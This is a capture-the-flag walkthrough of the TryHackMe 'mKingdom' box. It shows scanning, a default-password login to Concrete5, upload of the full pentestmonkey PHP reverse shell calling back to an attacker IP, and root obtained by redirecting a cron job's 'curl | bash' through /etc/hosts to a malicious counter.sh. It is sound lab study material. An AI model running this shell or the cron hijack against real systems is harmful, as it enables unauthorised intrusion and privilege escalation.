10 minutes
Walkthrough - THM mKingdom
This walkthrough is related to the easy level box from Try Hack Me called mKingdom. Let’s get started
We deploy the machine and once it is launched we run RustScan to see what ports are open (some content has been removed for brevity) and find that there is only Port 85 is open.
❯ rustscan -a 10.10.4.31 -- -A -oA nmap-scan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports: The virtual equivalent of knocking on doors.
[~] The config file is expected to be at "/home/n3ph0s/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.4.31:85
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -oA nmap-scan" on ip 10.10.4.31
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-15 08:36 PST
Scanned at 2024-06-15 08:36:34 PST for 30s
PORT STATE SERVICE REASON VERSION
85/tcp open http syn-ack ttl 63 Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0H N0! PWN3D 4G4IN
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 5.4 (96%), Linux 3.10 - 3.13 (96%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (93%), Sony Android TV (Android 5.0) (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Android 5.1 (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=6/15%OT=85%CT=%CU=41512%PV=Y%DS=2%DC=T%G=N%TM=666CE230%P=x86_64-pc-linux-gnu)
SEQ(SP=101%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=8)
OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)
WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)
ECN(R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 202.073 days (since Sun Nov 26 06:52:26 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 379.02 ms 10.11.0.1
2 379.14 ms 10.10.4.31
Read data files from: /usr/bin/are/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.15 seconds
Raw packets sent: 59 (4.192KB) | Rcvd: 41 (3.068KB)
You can see in the nmap
output that the title is “OH NO! PWN3D 4G4IN” which we can confirm when we navigate to the page.
We run dirsearch
and we find the /app
directory
❯ dirsearch -u http://mkingdom.thm:85
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/n3ph0s/Hacking/Machines/THM/mKingdom/reports/http_mkingdom.thm_85/_24-06-15_10-40-31.txt
Target: http://mkingdom.thm:85/
[10:40:31] Starting:
[10:40:53] 403 - 290B - /.ht_wsr.txt
[10:40:54] 403 - 293B - /.htaccess.bak1
[10:40:54] 403 - 293B - /.htaccess.orig
[10:40:54] 403 - 295B - /.htaccess.sample
[10:40:54] 403 - 293B - /.htaccess.save
[10:40:54] 403 - 294B - /.htaccess_extra
[10:40:54] 403 - 293B - /.htaccess_orig
[10:40:54] 403 - 291B - /.htaccess_sc
[10:40:54] 403 - 291B - /.htaccessBAK
[10:40:54] 403 - 291B - /.htaccessOLD
[10:40:54] 403 - 292B - /.htaccessOLD2
[10:40:54] 403 - 283B - /.htm
[10:40:54] 403 - 284B - /.html
[10:40:54] 403 - 293B - /.htpasswd_test
[10:40:54] 403 - 289B - /.htpasswds
[10:40:54] 403 - 290B - /.httr-oauth
[10:40:59] 403 - 283B - /.php
[10:40:59] 403 - 284B - /.php3
[10:41:43] 301 - 312B - /app -> http://mkingdom.thm:85/app/
[10:41:44] 200 - 457B - /app/
[10:43:09] 403 - 292B - /server-status
[10:43:09] 403 - 293B - /server-status/
Task Completed
When we navigate to the page we are presented with a blank page and a “JUMP” button. Before clicking on the Jump button we look at the source code.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
button {
padding: 10px 20px;
font-size: 16px;
cursor: pointer;
background-color: #4CAF50;
color: #fff;
border: none;
border-radius: 5px;
}
</style>
<title>ACCESS</title>
</head>
<body>
<button onclick="buttonClick()">JUMP</button>
<script>
function buttonClick() {
alert("Make yourself confortable and enjoy my place.");
window.location.href = 'castle';
}
</script>
</body>
</html>
If we look at the function buttonClick()
when we click the “JUMP” button an alert popup will appear with the message “Make yourself confortable and enjoy my place.” (Spelling mistake and all) and once we dismiss the alert we be redirected to the castle
.
Now that we understand what the code does, we click on the button and we are taken to Toad’s website.
We start enumerating the site and we can see that there is a robots.txt
file.
❯ curl http://mkingdom.thm:85/app/castle/robots.txt
User-agent: *
Disallow: /application/attributes
Disallow: /application/authentication
Disallow: /application/bootstrap
Disallow: /application/config
Disallow: /application/controllers
Disallow: /application/elements
Disallow: /application/helpers
Disallow: /application/jobs
Disallow: /application/languages
Disallow: /application/mail
Disallow: /application/models
Disallow: /application/page_types
Disallow: /application/single_pages
Disallow: /application/tools
Disallow: /application/views
Disallow: /ccm/system/captcha/picture
If we look at the bottom of the page there we can see in the footer that this is running Concrete5 CMS and at the bottom right hand side there is a button to login.
We go to the login page and we try initially, some generic passwords and we are able to login with admin:password
.
NOTE: There is an IP Ban on this is you enter too many attempts
As we have admin permissions we look around and we click on System Settings -> Files -> Allowed File Types.
We are then shown the list of file extensions that are allowed and we then add PHP as an allowed extension.
We use the following reverse shell
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.11.79.78'; // You have changed this
$port = 1337; // And this
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string
";
}
}
?>
We then setup a listener and we navigate to Files in the menu on the right and upload our shell.
Once this has been uploaded we click on the URL and we have our reverse shell.
❯ nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.11.79.78] from (UNKNOWN) [10.10.4.31] 48370
Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
23:10:25 up 2:36, 0 users, load average: 0.00, 0.02, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)
/bin/sh: 0: can't access tty; job control turned off
$
After we have upgraded our shell, we start enumerating the target and we find the credentials for the Toad user in /var/www/html/castle/application/config/database.php
www-data@mkingdom:/var/www/html/app/castle/application/config$ cat database.php
<?php
return [
'default-connection' => 'concrete',
'connections' => [
'concrete' => [
'driver' => 'c5_pdo_mysql',
'server' => 'localhost',
'database' => 'mKingdom',
'username' => 'toad',
'password' => '<redacted from writeup>',
'character_set' => 'utf8',
'collation' => 'utf8_unicode_ci',
],
],
];
With the credentials we are able to switch user to Toad and start enumeration again. We look in the environment variables and we find a variable called PWD_token
which is a base64 encoded string which gives us a password that we are able to use to escalate our privileges to Mario.
We navigate to the home directory of Mario and we find the user.txt
file, but when we go to run cat
on it we are not able to view it. We look at the permissions of cat
which has SUID bit set for Toad.
bash-4.3# ls -la /bin/cat
-rwsr-xr-x 1 toad root 47904 Mar 10 2016 /bin/cat
Whilst this is a strange setting, it is trivial to bypass and we just copied the file to /tmp
and was able to read the contents of the file.
As we continued to enumerate the box, we found that the user Mario had sudo
permissions to run the command id
and also we have permissions to modify /etc/hosts
. There is no PrivEsc that I am aware of for the id
command, but the /etc/hosts
was interesting and we then pspy which after a short period of time returned the following:
2024/06/14 23:56:01 CMD: UID=0 PID=5199 | bash
2024/06/14 23:56:01 CMD: UID=0 PID=5198 | curl mkingdom.thm:85/app/castle/application/counter.sh
2024/06/14 23:56:01 CMD: UID=0 PID=5197 | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log
2024/06/14 23:56:01 CMD: UID=0 PID=5196 | CRON
2024/06/14 23:57:01 CMD: UID=0 PID=5204 | bash
2024/06/14 23:57:01 CMD: UID=0 PID=5203 | curl mkingdom.thm:85/app/castle/application/counter.sh
2024/06/14 23:57:01 CMD: UID=0 PID=5202 | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log
This is interesting as we have permission to modify /etc/hosts
and can change the IP to our attack machine.
On our attack machine we created the expected file structure the command was expecting with mkdir -p /app/castle/application/
and then created the file counter.sh
#!/bin/sh
chmod +s /bin/bash
With this file created, we then set up web server listening on Port 85 and waited for the job to run.
❯ python3 -m http.server 85
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.4.31 - - [15/Jun/2024 11:58:02] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
Once the job had successfully run, from within our shell we run the command bash -p
and we had root.
mario@mkingdom:/dev/shm$ bash -p
bash-4.3# id
uid=1001(mario) gid=1001(mario) euid=0(root) egid=0(root) groups=0(root),1001(mario)
We then had to copy the root.txt
to /tmp
due to the SUID bit on the cat
file or alternatively we could have used less
or more
to view it.
Pwned!